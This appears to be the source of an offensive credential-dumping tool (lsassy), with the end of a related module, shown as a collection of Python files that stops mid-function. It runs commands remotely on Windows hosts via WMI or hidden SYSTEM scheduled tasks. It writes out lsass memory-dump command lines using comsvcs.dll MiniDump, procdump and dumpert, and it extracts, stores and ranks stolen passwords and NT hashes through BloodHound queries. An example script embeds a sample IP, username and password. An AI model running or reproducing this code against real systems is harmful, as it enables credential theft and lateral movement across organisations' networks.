141 | return proc.returncode, stdout, stderr | |
142 | ||
143 | def process_credentials(self, context, connection, credentials): | |
144 | for domain, creds in json.loads(credentials).items(): | |
145 | for username, passwords in creds.items(): | |
146 | for password in passwords: | |
147 | plain = password["password"] | |
148 | lmhash = password["lmhash"] | |
149 | nthash = password["nthash"] | |
150 | self.save_credentials(context, connection, domain, username, plain, lmhash, nthash) | |
151 | self.print_credentials(context, connection, domain, username, plain, lmhash, nthash) | |
152 | ||
153 | ||
154 | ||
155 | @staticmethod | |
156 | def save_credentials(context, connection, domain, username, password, lmhash, nthash): | |
157 | host_id = context.db.get_computers(connection.host)[0][0] | |
158 | if password is not None: | |
159 | credential_type = 'plaintext' | |
160 | else: | |
161 | credential_type = 'hash' | |
162 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) | |
163 | context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id) | |
164 | ||
165 | def print_credentials(self, context, connection, domain, username, password, lmhash, nthash): | |
166 | if password is None: | |
167 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) | |
168 | output = "%s\\%s %s" % (domain, username, password) | |
169 | if self.bloodhound and self.bloodhound_analysis(context, connection, username): | |
170 | output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow | |
171 | context.log.highlight(output) | |
172 | ||
173 | def set_as_owned(self, context, connection): | |
174 | try: | |
175 | from neo4j.v1 import GraphDatabase | |
176 | except: | |
177 | from neo4j import GraphDatabase | |
178 | from neo4j.exceptions import AuthError, ServiceUnavailable | |
179 | host_fqdn = (connection.hostname + "." + connection.domain).upper() | |
180 | uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) | |
181 | ||
182 | try: | |
183 | driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) | |
184 | except AuthError as e: | |
185 | context.log.error( | |
186 | "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) | |
187 | sys.exit() | |
188 | except ServiceUnavailable as e: | |
189 | context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) | |
190 | sys.exit() | |
191 | except Exception as e: | |
192 | context.log.error("Unexpected error with Neo4J") | |
193 | context.log.debug("Error : ".format(str(e))) | |
194 | sys.exit() | |
195 | ||
196 | with driver.session() as session: | |
197 | with session.begin_transaction() as tx: | |
198 | result = tx.run( | |
199 | "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn)) | |
200 | if len(result.value()) > 0: | |
201 | context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn)) | |
202 | else: | |
203 | context.log.error( | |
204 | "Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn)) | |
205 | driver.close() | |
206 | ||
207 | def bloodhound_analysis(self, context, connection, username): | |
208 | try: | |
209 | from neo4j.v1 import GraphDatabase | |
210 | except: | |
211 | from neo4j import GraphDatabase | |
212 | from neo4j.exceptions import AuthError, ServiceUnavailable | |
213 | username = (username + "@" + connection.domain).upper().replace("\\", "\\\\") | |
214 | uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) | |
215 | ||
216 | try: | |
217 | driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) | |
218 | except AuthError as e: | |
219 | context.log.error( | |
220 | "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) | |
221 | return False | |
222 | except ServiceUnavailable as e: | |
223 | context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) | |
224 | return False | |
225 | except Exception as e: | |
226 | context.log.error("Unexpected error with Neo4J") | |
227 | context.log.debug("Error : ".format(str(e))) | |
228 | return False | |
229 | ||
230 | edges = [ | |
231 | "MemberOf", | |
232 | "HasSession", | |
233 | "AdminTo", | |
234 | "AllExtendedRights", | |
235 | "AddMember", | |
236 | "ForceChangePassword", | |
237 | "GenericAll", | |
238 | "GenericWrite", | |
239 | "Owns", | |
240 | "WriteDacl", | |
241 | "WriteOwner", | |
242 | "CanRDP", | |
243 | "ExecuteDCOM", | |
244 | "AllowedToDelegate", | |
245 | "ReadLAPSPassword", | |
246 | "Contains", | |
247 | "GpLink", | |
248 | "AddAllowedToAct", | |
249 | "AllowedToAct", | |
250 | "SQLAdmin" | |
251 | ] | |
252 | # Remove blacklisted edges | |
253 | without_edges = [e.lower() for e in self.without_edges.split(",")] | |
254 | effective_edges = [edge for edge in edges if edge.lower() not in without_edges] | |
255 | ||
256 | with driver.session() as session: | |
257 | with session.begin_transaction() as tx: | |
258 | query = """ | |
259 | MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m)) | |
260 | WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512" | |
261 | RETURN COUNT(p) AS pathNb | |
262 | """.format(username, '|'.join(effective_edges)) | |
263 | ||
264 | context.log.debug("Query : {}".format(query)) | |
265 | result = tx.run(query) | |
266 | driver.close() | |
267 | return result.value()[0] > 0 |
0 | lsassy |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com | |
4 | ||
5 | from lsassy import Lsassy, Logger, Dumper, Parser, Writer | |
6 | ||
7 | log_options = Logger.Options(verbosity=2, quiet=False) | |
8 | dump_options = Dumper.Options(method=2, dumpname="lsass.dmp", procdump="/opt/Sysinternals/procdump.exe") | |
9 | parse_options = Parser.Options(raw=True) | |
10 | write_option = Writer.Options(format="pretty", output_file="/tmp/credentials.txt") | |
11 | ||
12 | lsassy = Lsassy( | |
13 | hostname="192.168.1.122", | |
14 | username="pixis", | |
15 | domain="adsec.local", | |
16 | password="h4cknd0", | |
17 | log_options=log_options, | |
18 | dump_options=dump_options, | |
19 | parse_options=parse_options, | |
20 | write_options=write_option | |
21 | ) | |
22 | print(lsassy.get_credentials()) |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com [FR] | |
4 | # https://en.hackndo.com [EN] | |
5 | ||
6 | from .core import Lsassy | |
7 | from .modules.dumper import Dumper | |
8 | from .modules.logger import Logger | |
9 | from .modules.parser import Parser | |
10 | from .modules.writer import Writer | |
11 | ||
12 | __all__ = ["Lsassy", "Dumper", "Logger", "Parser", "Writer"] | |
13 | ||
14 | name = "lsassy" | |
15 |
0 | #!/usr/bin/env python3 | |
1 | # Author: | |
2 | # Romain Bentz (pixis - @hackanddo) | |
3 | # Website: | |
4 | # https://beta.hackndo.com | |
5 | ||
6 | from multiprocessing import Process, RLock | |
7 | ||
8 | from lsassy.modules.dumper import Dumper | |
9 | from lsassy.modules.impacketconnection import ImpacketConnection | |
10 | from lsassy.modules.logger import Logger | |
11 | from lsassy.modules.parser import Parser | |
12 | from lsassy.modules.writer import Writer | |
13 | from lsassy.utils.utils import * | |
14 | ||
15 | lock = RLock() | |
16 | ||
17 | ||
18 | class Lsassy: | |
19 | def __init__(self, | |
20 | hostname, username, domain="", password="", lmhash="", nthash="", | |
21 | kerberos=False, aesKey="", dc_ip=None, | |
22 | log_options=Logger.Options(), | |
23 | dump_options=Dumper.Options(), | |
24 | parse_options=Parser.Options(), | |
25 | write_options=Writer.Options() | |
26 | ): | |
27 | ||
28 | self.conn_options = ImpacketConnection.Options(hostname, domain, username, password, lmhash, nthash, kerberos, aesKey, dc_ip) | |
29 | self.log_options = log_options | |
30 | self.dump_options = dump_options | |
31 | self.parse_options = parse_options | |
32 | self.write_options = write_options | |
33 | ||
34 | self._target = hostname | |
35 | ||
36 | self._log = Logger(self._target, log_options) | |
37 | ||
38 | self._conn = None | |
39 | self._dumper = None | |
40 | self._parser = None | |
41 | self._dumpfile = None | |
42 | self._credentials = [] | |
43 | self._writer = None | |
44 | ||
45 | def connect(self, options: ImpacketConnection.Options): | |
46 | self._conn = ImpacketConnection(options) | |
47 | self._conn.set_logger(self._log) | |
48 | login_result = self._conn.login() | |
49 | if not login_result.success(): | |
50 | return login_result | |
51 | ||
52 | self._log.info("Authenticated") | |
53 | return RetCode(ERROR_SUCCESS) | |
54 | ||
55 | def dump_lsass(self, options=Dumper.Options()): | |
56 | is_admin = self._conn.isadmin() | |
57 | if not is_admin.success(): | |
58 | self._conn.close() | |
59 | return is_admin | |
60 | ||
61 | self._dumper = Dumper(self._conn, options) | |
62 | dump_result = self._dumper.dump() | |
63 | if not dump_result.success(): | |
64 | return dump_result | |
65 | self._dumpfile = self._dumper.getfile() | |
66 | ||
67 | self._log.info("Process lsass.exe has been dumped") | |
68 | return RetCode(ERROR_SUCCESS) | |
69 | ||
70 | def parse_lsass(self, options=Dumper.Options()): | |
71 | self._parser = Parser(self._dumpfile, options) | |
72 | parse_result = self._parser.parse() | |
73 | if not parse_result.success(): | |
74 | return parse_result | |
75 | ||
76 | self._credentials = self._parser.get_credentials() | |
77 | self._log.info("Process lsass.exe has been parsed") | |
78 | return RetCode(ERROR_SUCCESS) | |
79 | ||
80 | def write_credentials(self, options=Writer.Options()): | |
81 | self._writer = Writer(self._target, self._credentials, self._log, options) | |
82 | write_result = self._writer.write() | |
83 | if not write_result.success(): | |
84 | return write_result | |
85 | ||
86 | return RetCode(ERROR_SUCCESS) | |
87 | ||
88 | def clean(self): | |
89 | if self._parser: | |
90 | r = self._parser.clean() | |
91 | if not r.success(): | |
92 | lsassy_warn(self._log, r) | |
93 | ||
94 | if self._dumper: | |
95 | r = self._dumper.clean() | |
96 | if not r.success(): | |
97 | lsassy_warn(self._log, r) | |
98 | ||
99 | if self._conn: | |
100 | r = self._conn.clean() | |
101 | if not r.success(): | |
102 | lsassy_warn(self._log, r) | |
103 | ||
104 | self._log.info("Cleaning complete") | |
105 | ||
106 | def get_credentials(self): | |
107 | return_code = self.run() | |
108 | self._writer = Writer(self._target, self._credentials, self._log, self.write_options) | |
109 | ret = { | |
110 | "success": True, | |
111 | "credentials": self._writer.get_output() | |
112 | } | |
113 | if not return_code.success(): | |
114 | ret["success"] = False | |
115 | ret["error_code"] = return_code.error_code | |
116 | ret["error_msg"] = return_code.error_msg | |
117 | ret["error_exception"] = return_code.error_exception | |
118 | ||
119 | return ret | |
120 | ||
121 | def run(self): | |
122 | return_code = ERROR_UNDEFINED | |
123 | try: | |
124 | return_code = self._run() | |
125 | except KeyboardInterrupt as e: | |
126 | print("") | |
127 | self._log.warn("Quitting gracefully...") | |
128 | return_code = RetCode(ERROR_USER_INTERRUPTION) | |
129 | except Exception as e: | |
130 | return_code = RetCode(ERROR_UNDEFINED, e) | |
131 | finally: | |
132 | self.clean() | |
133 | lsassy_exit(self._log, return_code) | |
134 | return return_code | |
135 | ||
136 | def _run(self): | |
137 | """ | |
138 | Extract hashes from arguments | |
139 | """ | |
140 | ||
141 | r = self.connect(self.conn_options) | |
142 | if not r.success(): | |
143 | return r | |
144 | r = self.dump_lsass(self.dump_options) | |
145 | if not r.success(): | |
146 | return r | |
147 | r = self.parse_lsass(self.parse_options) | |
148 | if not r.success(): | |
149 | return r | |
150 | r = self.write_credentials(self.write_options) | |
151 | if not r.success(): | |
152 | return r | |
153 | return RetCode(ERROR_SUCCESS) | |
154 | ||
155 | ||
156 | class CLI: | |
157 | def __init__(self, target): | |
158 | self.conn_options = ImpacketConnection.Options() | |
159 | self.log_options = Logger.Options() | |
160 | self.dump_options = Dumper.Options() | |
161 | self.parse_options = Parser.Options() | |
162 | self.write_options = Writer.Options() | |
163 | self.lsassy = None | |
164 | self.target = target | |
165 | ||
166 | def set_options_from_args(self, args): | |
167 | # Logger Options | |
168 | self.log_options.verbosity = args.v | |
169 | self.log_options.quiet = args.quiet | |
170 | ||
171 | # Connection Options | |
172 | self.conn_options.hostname = self.target | |
173 | self.conn_options.domain_name = '' if args.domain is None else args.domain | |
174 | self.conn_options.username = '' if args.username is None else args.username | |
175 | self.conn_options.kerberos = args.kerberos | |
176 | self.conn_options.aes_key = '' if args.aesKey is None else args.aesKey | |
177 | self.conn_options.dc_ip = args.dc_ip | |
178 | self.conn_options.password = '' if args.password is None else args.password | |
179 | if not self.conn_options.password and args.hashes: | |
180 | if ":" in args.hashes: | |
181 | self.conn_options.lmhash, self.conn_options.nthash = args.hashes.split(":") | |
182 | else: | |
183 | self.conn_options.lmhash, self.conn_options.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes | |
184 | ||
185 | # Dumper Options | |
186 | self.dump_options.dumpname = args.dumpname | |
187 | self.dump_options.procdump_path = args.procdump | |
188 | self.dump_options.dumpert_path = args.dumpert | |
189 | self.dump_options.method = args.method | |
190 | self.dump_options.timeout = args.timeout | |
191 | ||
192 | # Parser Options | |
193 | self.parse_options.raw = args.raw | |
194 | ||
195 | # Writer Options | |
196 | self.write_options.output_file = args.outfile | |
197 | self.write_options.format = args.format | |
198 | self.write_options.quiet = args.quiet | |
199 | ||
200 | def run(self): | |
201 | args = get_args() | |
202 | self.set_options_from_args(args) | |
203 | self.lsassy = Lsassy( | |
204 | self.conn_options.hostname, | |
205 | self.conn_options.username, | |
206 | self.conn_options.domain_name, | |
207 | self.conn_options.password, | |
208 | self.conn_options.lmhash, | |
209 | self.conn_options.nthash, | |
210 | self.conn_options.kerberos, | |
211 | self.conn_options.aesKey, | |
212 | self.conn_options.dc_ip, | |
213 | log_options=self.log_options, | |
214 | dump_options=self.dump_options, | |
215 | parse_options=self.parse_options, | |
216 | write_options=self.write_options | |
217 | ) | |
218 | return self.lsassy.run() | |
219 | ||
220 | ||
221 | def run(): | |
222 | targets = get_targets(get_args().target) | |
223 | ||
224 | if len(targets) == 1: | |
225 | return CLI(targets[0]).run().error_code | |
226 | ||
227 | jobs = [Process(target=CLI(target).run) for target in targets] | |
228 | try: | |
229 | for job in jobs: | |
230 | job.start() | |
231 | except KeyboardInterrupt as e: | |
232 | print("\nQuitting gracefully...") | |
233 | terminate_jobs(jobs) | |
234 | finally: | |
235 | join_jobs(jobs) | |
236 | ||
237 | return 0 | |
238 | ||
239 | ||
240 | if __name__ == '__main__': | |
241 | run() |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com [FR] | |
4 | # https://en.hackndo.com [EN] | |
5 | ||
6 | # Based on Impacket atexec implementation by @agsolino | |
7 | # https://github.com/SecureAuthCorp/impacket/blob/429f97a894d35473d478cbacff5919739ae409b4/examples/atexec.py | |
8 | ||
9 | import random | |
10 | import string | |
11 | import time | |
12 | ||
13 | from impacket.dcerpc.v5 import tsch, transport | |
14 | from impacket.dcerpc.v5.dtypes import NULL | |
15 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE | |
16 | ||
17 | ||
18 | class TASK_EXEC: | |
19 | def __init__(self, conn, log): | |
20 | self._conn = conn | |
21 | self._log = log | |
22 | ||
23 | stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self._conn.hostname | |
24 | self._rpctransport = transport.DCERPCTransportFactory(stringbinding) | |
25 | ||
26 | if hasattr(self._rpctransport, 'set_credentials'): | |
27 | self._rpctransport.set_credentials(self._conn.username, self._conn.password, self._conn.domain_name, | |
28 | self._conn.lmhash, self._conn.nthash, self._conn.aesKey) | |
29 | self._rpctransport.set_kerberos(self._conn.kerberos, self._conn.dc_ip) | |
30 | ||
31 | def execute(self, commands): | |
32 | dce = self._rpctransport.get_dce_rpc() | |
33 | ||
34 | dce.set_credentials(*self._rpctransport.get_credentials()) | |
35 | if self._conn.kerberos: | |
36 | dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) | |
37 | dce.connect() | |
38 | dce.bind(tsch.MSRPC_UUID_TSCHS) | |
39 | xml = self.gen_xml(commands) | |
40 | tmpName = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) | |
41 | self._log.debug("Register random task {}".format(tmpName)) | |
42 | tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) | |
43 | tsch.hSchRpcRun(dce, '\\%s' % tmpName) | |
44 | done = False | |
45 | while not done: | |
46 | resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) | |
47 | if resp['pLastRuntime']['wYear'] != 0: | |
48 | done = True | |
49 | else: | |
50 | time.sleep(2) | |
51 | ||
52 | time.sleep(3) | |
53 | tsch.hSchRpcDelete(dce, '\\%s' % tmpName) | |
54 | dce.disconnect() | |
55 | ||
56 | def gen_xml(self, commands): | |
57 | ||
58 | return """<?xml version="1.0" encoding="UTF-16"?> | |
59 | <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> | |
60 | <Triggers> | |
61 | <CalendarTrigger> | |
62 | <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary> | |
63 | <Enabled>true</Enabled> | |
64 | <ScheduleByDay> | |
65 | <DaysInterval>1</DaysInterval> | |
66 | </ScheduleByDay> | |
67 | </CalendarTrigger> | |
68 | </Triggers> | |
69 | <Principals> | |
70 | <Principal id="LocalSystem"> | |
71 | <UserId>S-1-5-18</UserId> | |
72 | <RunLevel>HighestAvailable</RunLevel> | |
73 | </Principal> | |
74 | </Principals> | |
75 | <Settings> | |
76 | <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> | |
77 | <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> | |
78 | <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> | |
79 | <AllowHardTerminate>true</AllowHardTerminate> | |
80 | <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> | |
81 | <IdleSettings> | |
82 | <StopOnIdleEnd>true</StopOnIdleEnd> | |
83 | <RestartOnIdle>false</RestartOnIdle> | |
84 | </IdleSettings> | |
85 | <AllowStartOnDemand>true</AllowStartOnDemand> | |
86 | <Enabled>true</Enabled> | |
87 | <Hidden>true</Hidden> | |
88 | <RunOnlyIfIdle>false</RunOnlyIfIdle> | |
89 | <WakeToRun>false</WakeToRun> | |
90 | <ExecutionTimeLimit>P3D</ExecutionTimeLimit> | |
91 | <Priority>7</Priority> | |
92 | </Settings> | |
93 | <Actions Context="LocalSystem"> | |
94 | {} | |
95 | </Actions> | |
96 | </Task> | |
97 | """.format(self.gen_commands(commands)) | |
98 | ||
99 | def gen_commands(self, commands): | |
100 | ret = "" | |
101 | for command in commands: | |
102 | ret += """ | |
103 | <Exec> | |
104 | <Command>cmd.exe</Command> | |
105 | <Arguments>/C {}</Arguments> | |
106 | </Exec>""".format(command) | |
107 | ||
108 | return ret |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com [FR] | |
4 | # https://en.hackndo.com [EN] | |
5 | ||
6 | # Based on Impacket wmiexec implementation by @agsolino | |
7 | # https://github.com/SecureAuthCorp/impacket/blob/429f97a894d35473d478cbacff5919739ae409b4/examples/wmiexec.py | |
8 | ||
9 | import socket | |
10 | ||
11 | from impacket.dcerpc.v5.dcom import wmi | |
12 | from impacket.dcerpc.v5.dcomrt import DCOMConnection | |
13 | from impacket.dcerpc.v5.dtypes import NULL | |
14 | ||
15 | ||
16 | class WMI: | |
17 | def __init__(self, connection, logger): | |
18 | self.conn = connection | |
19 | if not self.conn.kerberos: | |
20 | self.conn.hostname = list({addr[-1][0] for addr in socket.getaddrinfo(self.conn.hostname, 0, 0, 0, 0)})[0] | |
21 | self.log = logger | |
22 | self.win32Process = None | |
23 | self.iWbemServices = None | |
24 | self.buffer = "" | |
25 | self.dcom = None | |
26 | self._getwin32process() | |
27 | ||
28 | def _buffer_callback(self, data): | |
29 | self.buffer += str(data) | |
30 | ||
31 | def _getwin32process(self): | |
32 | if self.conn.kerberos: | |
33 | self.log.debug("Trying to authenticate using kerberos ticket") | |
34 | else: | |
35 | self.log.debug("Trying to authenticate using : {}\\{}:{}".format( | |
36 | self.conn.domain_name, | |
37 | self.conn.username, | |
38 | self.conn.password) | |
39 | ) | |
40 | ||
41 | try: | |
42 | self.dcom = DCOMConnection( | |
43 | self.conn.hostname, | |
44 | self.conn.username, | |
45 | self.conn.password, | |
46 | self.conn.domain_name, | |
47 | self.conn.lmhash, | |
48 | self.conn.nthash, | |
49 | self.conn.aesKey, | |
50 | oxidResolver=True, | |
51 | doKerberos=self.conn.kerberos, | |
52 | kdcHost=self.conn.dc_ip | |
53 | ) | |
54 | iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) | |
55 | iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) | |
56 | self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) | |
57 | iWbemLevel1Login.RemRelease() | |
58 | self.win32Process, _ = self.iWbemServices.GetObject('Win32_Process') | |
59 | except KeyboardInterrupt as e: | |
60 | self.dcom.disconnect() | |
61 | raise KeyboardInterrupt(e) | |
62 | except Exception as e: | |
63 | raise Exception("WMIEXEC not supported on host %s : %s" % (self.conn.hostname, e)) | |
64 | ||
65 | def execute(self, commands): | |
66 | command = " & ".join(commands) | |
67 | try: | |
68 | self.win32Process.Create(command, "C:\\", None) | |
69 | self.iWbemServices.disconnect() | |
70 | self.dcom.disconnect() | |
71 | except KeyboardInterrupt as e: | |
72 | self.log.debug("WMI Execution stopped because of keyboard interruption") | |
73 | self.iWbemServices.disconnect() | |
74 | self.dcom.disconnect() | |
75 | raise KeyboardInterrupt(e) | |
76 | except Exception as e: | |
77 | self.log.debug("Error : {}".format(e)) | |
78 | self.iWbemServices.disconnect() | |
79 | self.dcom.disconnect() |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com [FR] | |
4 | # https://en.hackndo.com [EN] | |
5 | ||
6 | import random | |
7 | import string | |
8 | ||
9 | from lsassy.modules.impacketfile import ImpacketFile | |
10 | from lsassy.exec.taskexe import TASK_EXEC | |
11 | from lsassy.exec.wmi import WMI | |
12 | from lsassy.utils.utils import * | |
13 | ||
14 | ||
15 | class Dumper: | |
16 | ||
17 | class Options: | |
18 | def __init__(self, tmp_dir="\\Windows\\Temp\\", share="C$", dumpname=None, procdump="procdump.exe", dumpert="dumpert.exe", procdump_path=None, dumpert_path=None, method=1, timeout=10): | |
19 | self.tmp_dir = tmp_dir | |
20 | self.share = share | |
21 | self.dumpname = dumpname | |
22 | self.procdump = procdump | |
23 | self.dumpert = dumpert | |
24 | self.procdump_path = procdump_path | |
25 | self.dumpert_path = dumpert_path | |
26 | self.method = method | |
27 | self.timeout = timeout | |
28 | ||
29 | def __init__(self, connection, options=Options()): | |
30 | self._log = connection.get_logger() | |
31 | self._tmp_dir = options.tmp_dir | |
32 | self._share = options.share | |
33 | self._procdump = options.procdump | |
34 | self._dumpert = options.dumpert | |
35 | self._procdump_path = options.procdump_path | |
36 | self._dumpert_path = options.dumpert_path | |
37 | self._method = options.method | |
38 | self._timeout = options.timeout | |
39 | ||
40 | if options.dumpname: | |
41 | self._remote_lsass_dump = options.dumpname | |
42 | if "." not in self._remote_lsass_dump: | |
43 | self._remote_lsass_dump += ".dmp" | |
44 | else: | |
45 | self._remote_lsass_dump = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".dmp" | |
46 | ||
47 | self._conn = connection | |
48 | self._ifile = None | |
49 | ||
50 | self._exec_methods = {"wmi": WMI, "task": TASK_EXEC} | |
51 | self._use_procdump = False | |
52 | self._use_dumpert = False | |
53 | ||
54 | def getfile(self): | |
55 | if isinstance(self._ifile, ImpacketFile): | |
56 | return self._ifile | |
57 | return RetCode(ERROR_UNDEFINED, Exception("Trying to return an object which is not an Impacket file")) | |
58 | ||
59 | def close(self): | |
60 | if isinstance(self._ifile, ImpacketFile): | |
61 | self._ifile.close() | |
62 | return RetCode(ERROR_SUCCESS) | |
63 | return RetCode(ERROR_UNDEFINED, Exception("Trying to close an object which is not an Impacket file")) | |
64 | ||
65 | def dump(self): | |
66 | """ | |
67 | Dump lsass on remote host. Different methods can be used. | |
68 | If you chose to dump lsass using built-in comsvcs.dll method, you need SeDebugPrivilege. This privilege | |
69 | is either in Powershell admin context, or cmd.exe SYSTEM context. | |
70 | Two execution methods can be used. | |
71 | 1. WMIExec with cmd.exe (no SeDebugPrivilege) or powershell.exe (SeDebugPrivilege) | |
72 | 2. ScheduledTask which is SYSTEM context (SeDebugPrivilege). | |
73 | These constraints lead to different possibilities. By default, comsvcs.dll method will be used and will try | |
74 | Powershell with WMI, Powershell with scheduled task, and cmd.exe with scheduled task | |
75 | """ | |
76 | ||
77 | """ | |
78 | A "methodology can be described in an array of 3 elements: | |
79 | 1. 1st element : Dump method to use (dll, procdump, dumpert) | |
80 | 2. Shell context to use (powershell, cmd) | |
81 | 3. List of remote execution methods (wmi, task) | |
82 | """ | |
83 | if self._method == 0: | |
84 | dump_methodologies = [ | |
85 | ["dll", "powershell", ("wmi", "task")], | |
86 | ["dll", "cmd", ("task",)], | |
87 | ["procdump", "cmd", ("wmi", "task")], | |
88 | ["dumpert", "cmd", ("wmi", "task")] | |
89 | ] | |
90 | elif self._method == 1: | |
91 | dump_methodologies = [ | |
92 | ["dll", "powershell", ("wmi", "task")], | |
93 | ["dll", "cmd", ("task",)] | |
94 | ] | |
95 | elif self._method == 2: | |
96 | dump_methodologies = [ | |
97 | ["procdump", "cmd", ("wmi", "task")] | |
98 | ] | |
99 | elif self._method == 3: | |
100 | dump_methodologies = [ | |
101 | ["dll", "powershell", ("wmi", "task")] | |
102 | ] | |
103 | elif self._method == 4: | |
104 | dump_methodologies = [ | |
105 | ["dll", "cmd", ("task",)] | |
106 | ] | |
107 | elif self._method == 5: | |
108 | dump_methodologies = [ | |
109 | ["dumpert", "cmd", ("wmi", "task")] | |
110 | ] | |
111 | else: | |
112 | self._log.debug("Method \"{}\" is not supported (0-5). See -h for help".format(self._method)) | |
113 | return RetCode(ERROR_METHOD_NOT_SUPPORTED) | |
114 | ||
115 | ifile = ImpacketFile(self._conn, self._log) | |
116 | for dump_methodology in dump_methodologies: | |
117 | dump_method, exec_shell, exec_methods = dump_methodology | |
118 | self._log.debug("Trying \"{}\" method".format(dump_method)) | |
119 | if dump_method == "dll": | |
120 | dumped = self.dll_dump(exec_methods, exec_shell) | |
121 | elif dump_method == "procdump": | |
122 | dumped = self.procdump_dump(exec_methods) | |
123 | elif dump_method == "dumpert": | |
124 | dumped = self.dumpert_dump(exec_methods) | |
125 | else: | |
126 | continue | |
127 | if dumped.success(): | |
128 | """ | |
129 | If procdump failed, a dumpfile was created, and its content is "FAILED" | |
130 | Best guess is that lsass is protected in some way (PPL, AV, ...) | |
131 | """ | |
132 | ret = ifile.open( | |
133 | (self._share + self._tmp_dir + self._remote_lsass_dump).replace("\\", "/"), | |
134 | timeout=self._timeout | |
135 | ) | |
136 | if isinstance(ret, ImpacketFile): | |
137 | if ifile.size() == 0 or (ifile.size() < 100 and ifile.read(6).decode('utf-8') == "FAILED"): | |
138 | ifile.close() | |
139 | return RetCode(ERROR_LSASS_PROTECTED) | |
140 | ifile.seek(0) | |
141 | self._ifile = ifile | |
142 | return RetCode(ERROR_SUCCESS) | |
143 | else: | |
144 | self._log.warn("No dump file found with \"{}\" using \"{}\" exec method.".format(dump_method, exec_shell)) | |
145 | ||
146 | """ | |
147 | If no dump file was found, it means that procdump didn't crash, so it may take more time than expected. | |
148 | """ | |
149 | return RetCode(ERROR_SLOW_TARGET) | |
150 | ||
151 | def dll_dump(self, exec_methods=("wmi", "task"), exec_shell="cmd"): | |
152 | if exec_shell == "cmd": | |
153 | commands = [ | |
154 | """cmd.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {}{} full""".format( | |
155 | self._tmp_dir, self._remote_lsass_dump | |
156 | ), | |
157 | ] | |
158 | elif exec_shell == "powershell": | |
159 | commands = [ | |
160 | 'powershell.exe -NoP -C "C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).Id {}{} full;Wait-Process -Id (Get-Process rundll32).id"'.format( | |
161 | self._tmp_dir, self._remote_lsass_dump | |
162 | ), | |
163 | ] | |
164 | else: | |
165 | return RetCode(ERROR_METHOD_NOT_SUPPORTED) | |
166 | ||
167 | self._log.debug("Commands : ") | |
168 | for command in commands: | |
169 | self._log.debug("{}".format(command)) | |
170 | ||
171 | for exec_method in exec_methods: | |
172 | try: | |
173 | self._log.debug("Trying exec method : \"{}\"".format(exec_method)) | |
174 | self._exec_methods[exec_method](self._conn, self._log).execute(commands) | |
175 | self._log.debug("Exec method \"{}\" success !".format(exec_method)) | |
176 | return RetCode(ERROR_SUCCESS) | |
177 | except Exception as e: | |
178 | self._log.warn("Exec method \"{}\" failed.".format(exec_method)) | |
179 | self._log.debug('Error : {}'.format(e)) | |
180 | return RetCode(ERROR_DLL_NO_EXECUTE) | |
181 | ||
182 | def procdump_dump(self, exec_methods=("wmi", "task")): | |
183 | """ | |
184 | Dump lsass with procdump | |
185 | :param exec_methods: If set, it will use specified execution method. Default to WMI, then TASK | |
186 | """ | |
187 | if not self._procdump_path: | |
188 | self._log.warn("Procdump path has not been provided") | |
189 | return RetCode(ERROR_PROCDUMP_NOT_PROVIDED) | |
190 | # Verify procdump exists on host | |
191 | if not os.path.exists(self._procdump_path): | |
192 | self._log.warn("{} does not exist.".format(self._procdump_path)) | |
193 | return RetCode(ERROR_PROCDUMP_NOT_FOUND) | |
194 | ||
195 | # Upload procdump | |
